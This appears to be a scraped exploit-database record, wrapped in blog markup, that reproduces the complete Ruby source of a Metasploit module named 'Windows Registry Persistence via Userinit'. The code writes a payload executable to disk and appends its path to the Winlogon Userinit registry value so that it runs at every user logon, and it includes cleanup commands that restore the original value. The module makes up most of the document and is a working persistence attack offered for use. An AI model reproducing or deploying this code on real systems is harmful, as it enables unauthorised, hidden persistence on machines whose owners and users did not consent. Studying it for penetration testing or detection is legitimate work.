{“lastseen”:”2026-02-18T19:28:03″,”description”:”This module will install a payload that is executed during user logon. It writes a payload executable to disk and modifies the Userinit registry value in \\”HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\” to append the payload path, causing…”,”published”:”2026-02-18T18:59:30″,”modified”:”2026-02-18T18:59:30″,”type”:”metasploit”,”title”:”Windows Registry Persistence via Userinit”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY_USERINIT-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Msf::Post::Windows::Registry\\n include Msf::Post::File\\n include Msf::Exploit::EXE\\n include Msf::Exploit::Powershell\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Windows Registry Persistence via Userinit’,\\n ‘Description’ =\\u003e %q{\\n This module will install a payload that is executed during user logon.\\n It writes a payload executable to disk and modifies the Userinit registry value\\n in \\”HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\” to append the\\n payload path, causing it to execute when any user logs in.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘joel @ ndepthsecurity’,\\n ‘h00die’,\\n ],\\n ‘Platform’ =\\u003e [ ‘win’ ],\\n ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64],\\n ‘SessionTypes’ =\\u003e [ ‘meterpreter’, ‘shell’ ],\\n ‘Targets’ =\\u003e [\\n [ ‘Automatic’, {} ]\\n ],\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],\\n [‘URL’, ‘https:\/\/hadess.io\/the-art-of-windows-persistence\/’]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2015-07-01’,\\n ‘Notes’ =\\u003e {\\n ‘Reliability’ =\\u003e [EVENT_DEPENDENT, REPEATABLE_SESSION],\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [CONFIG_CHANGES, IOC_IN_LOGS]\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of payload file to write. Random string as default.’]),\\n ])\\n end\\n\\n def regkey\\n ‘HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Winlogon’\\n end\\n\\n def writable_dir\\n d = super\\n return session.sys.config.getenv(d) if d.start_with?(‘%’)\\n\\n d\\n end\\n\\n def check\\n print_warning(‘Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.’) if datastore[‘WritableDir’].start_with?(‘%TEMP%’) # check the original value\\n return CheckCode::Safe(\\”#{writable_dir} doesnt exist\\”) unless exists?(writable_dir)\\n\\n return Msf::Exploit::CheckCode::Safe(\\”Unable to read registry path #{regkey} with key Userinit\\”) if registry_getvaldata(regkey, ‘Userinit’).nil?\\n\\n Msf::Exploit::CheckCode::Vulnerable(‘Registry likely exploitable’)\\n end\\n\\n def install_persistence\\n payload_name = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alpha((rand(6..13)))\\n payload_exe = generate_payload_exe\\n payload_pathname = writable_dir + ‘\\\\\\\\’ + payload_name + ‘.exe’\\n vprint_good(\\”Writing payload to #{payload_pathname}\\”)\\n fail_with(Failure::UnexpectedReply, \\”Error writing payload to: #{payload_pathname}\\”) unless write_file(payload_pathname, payload_exe)\\n\\n old_value = registry_getvaldata(regkey, ‘Userinit’)\\n new_value = (old_value.split(‘,’) + [payload_pathname]).join(‘,’)\\n vprint_status(\\”Updating ‘#{old_value}’ to ‘#{new_value}’\\”)\\n registry_setvaldata(regkey, ‘Userinit’, new_value, ‘REG_SZ’)\\n escaped_old_value = old_value.gsub(‘\\\\\\\\’, ‘\\\\\\\\\\\\\\\\’)\\n @clean_up_rc = %(execute -f cmd.exe -a \\”\/c reg add \\\\\\\\\\\\\\”#{regkey}\\\\\\\\\\\\\\” \/v Userinit \/t REG_SZ \/d \\\\\\\\\\\\\\”#{escaped_old_value}\\\\\\\\\\\\\\” \/f\\” -H\\\\n)\\n @clean_up_rc \\u003c\\u003c \\”rm #{payload_pathname.gsub(‘\\\\\\\\’, ‘\/’)}\\\\n\\”\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/persistence\/registry_userinit.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/persistence\/registry_userinit\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-18T19:28:03″,”description”:”This module will install a payload that is executed during user logon. It writes a payload executable to disk and modifies the Userinit registry value…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-41425","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n